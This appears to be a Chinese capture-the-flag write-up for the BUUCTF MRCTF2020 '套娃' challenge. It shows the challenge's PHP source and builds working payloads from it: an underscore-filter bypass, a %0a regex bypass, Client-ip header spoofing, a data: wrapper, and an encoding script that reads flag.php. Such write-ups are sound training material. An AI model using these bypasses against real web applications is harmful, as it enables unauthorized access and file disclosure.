打开靶机:
查看源码发现代码:
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
解析:
第一个if判断传参的字符串,不能有_和%5f
绕过:PHP会将传参中的空格( )、小数点(.)自动替换成下划线
第二个if判断get传参b_u_p_t不等于23333 并且开头和结尾和中间必须是23333
绕过:在23333结尾加个换行符url编码为%0a 即可绕过,
paylaod:
1) ?b.u.p.t=23333%0a
2) ?b u p t=23333%0a
发现 secrettw.php
进入得
hackbar修改HTTP头无用
查看原码发现一段jsfuck编码:
解码得
post me Merak
随便用POST方法给Merak一个值
发现代码
Flag is here~But how to get it?
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
代码解析:
1、来源ip是127.0.0.1 用Client-ip
2、get参数2333传来的值,使用文件流打开后内容为`todat is a happy day`
3、file_get_contents用php伪协议绕过4.反写change加密函数
反写 exp:
<?php
function unchange($v){
$re = ”;
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) – $i*2 );
}
return $re;
}
$real_flag = unchange(‘flag.php’);
echo base64_encode($real_flag);
?>
最后payload:
?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=
Client-ip : 127.0.0.1
查看源码得 FALG
来源:freebuf.com 2021-06-23 10:40:54 by: 无名草talent
![BUUCTF--[MRCTF2020]套娃 - 作者:无名草talent BUUCTF--[MRCTF2020]套娃 - 作者:无名草talent](http://aqxbk.com/./wp-content/uploads/freebuf/image.3001.net/images/20210622/1624366948_60d1df640965096e14444.png)
![BUUCTF--[MRCTF2020]套娃 - 作者:无名草talent BUUCTF--[MRCTF2020]套娃 - 作者:无名草talent](http://aqxbk.com/./wp-content/uploads/freebuf/image.3001.net/images/20210623/1624412864_60d292c039f529dec7496.png)
![BUUCTF--[MRCTF2020]套娃 - 作者:无名草talent BUUCTF--[MRCTF2020]套娃 - 作者:无名草talent](http://aqxbk.com/./wp-content/uploads/freebuf/image.3001.net/images/20210623/1624413034_60d2936a7b5724d81a34a.png)
![BUUCTF--[MRCTF2020]套娃 - 作者:无名草talent BUUCTF--[MRCTF2020]套娃 - 作者:无名草talent](http://aqxbk.com/./wp-content/uploads/freebuf/image.3001.net/images/20210623/1624413926_60d296e68ca92fdd18e46.png)
![BUUCTF--[MRCTF2020]套娃 - 作者:无名草talent BUUCTF--[MRCTF2020]套娃 - 作者:无名草talent](http://aqxbk.com/./wp-content/uploads/freebuf/image.3001.net/images/20210623/1624413926_60d296e689fee5fc41be1.png)
![BUUCTF--[MRCTF2020]套娃 - 作者:无名草talent BUUCTF--[MRCTF2020]套娃 - 作者:无名草talent](http://aqxbk.com/./wp-content/uploads/freebuf/image.3001.net/images/20210623/1624415080_60d29b68d3c443859a174.png)
![BUUCTF--[MRCTF2020]套娃 - 作者:无名草talent BUUCTF--[MRCTF2020]套娃 - 作者:无名草talent](http://aqxbk.com/./wp-content/uploads/freebuf/image.3001.net/images/20210623/1624415212_60d29bec289f13bc381f5.png)
![BUUCTF--[MRCTF2020]套娃 - 作者:无名草talent BUUCTF--[MRCTF2020]套娃 - 作者:无名草talent](http://aqxbk.com/./wp-content/uploads/freebuf/image.3001.net/images/20210623/1624415292_60d29c3c48383c1381712.png)